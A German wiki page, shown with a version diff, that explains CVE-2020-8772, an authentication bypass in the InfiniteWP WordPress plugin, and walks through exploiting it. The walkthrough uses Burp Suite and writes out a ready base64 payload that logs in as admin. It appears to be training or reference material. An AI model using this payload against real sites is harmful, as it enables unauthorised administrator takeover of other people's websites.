Authentication Bypass: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 9: | Zeile 9: | ||
*Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet | *Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet | ||
*DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen. | *DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen. | ||
| − | + | =Beispiel= | |
| + | [[Datei:Wp-hack.png]] | ||
=Request= | =Request= | ||
Version vom 26. Januar 2023, 16:49 Uhr
CVE
- CVE-2020-8772
Vorbermerkung
- Aufgrund logischer Fehler im Code ist es möglich, sich als beliebiger Administrator auf der Website anzumelden.
- Das Problem liegt in der Funktion iwp_mmb_set_request, die sich in der Datei init.php befindet.
- Dies prüft, ob das Array request_params der Kernklasse nicht leer ist, was nur in einer anderen Funktion gesetzt wird
- Da passiert nur wenn gefüllt wird und wenn die Nutzlast bestimmte Bedingungen erfüllt
- (in diesem Szenario sind die Aktionen readd_site und add_site die einzigen Aktionen, die keine haben Autorisierungsprüfung, weshalb dieses Problem besteht.)
- Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
- DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.
Beispiel
Request
- Laden Sie die Zielwebsite neu und fangen Sie die Anfrage mit der Burp Suite ab.
- Klicken Sie mit der rechten Maustaste auf die Burp Suite und klicken Sie auf „Anfragemethode ändern“, um die Anfrage von GET in POST umzuwandeln.
Payload
- Erstellen Sie die JSON Payload und konvertieren Sie sie in base64.
Payload: {"iwp_action":"add_site","params":{"username":"admin"}}
- echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
- Hängen Sie den base64 generierte Payload an die Zeichenfolge _IWP_JSON_PREFIX_ an.
Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
- Platzieren Sie den Payload als POST Argumente.
- Klicken Sie auf Forward und schalten Sie den Intercept aus.
- Jetzt müssen wir die Seite einmal neuladen.


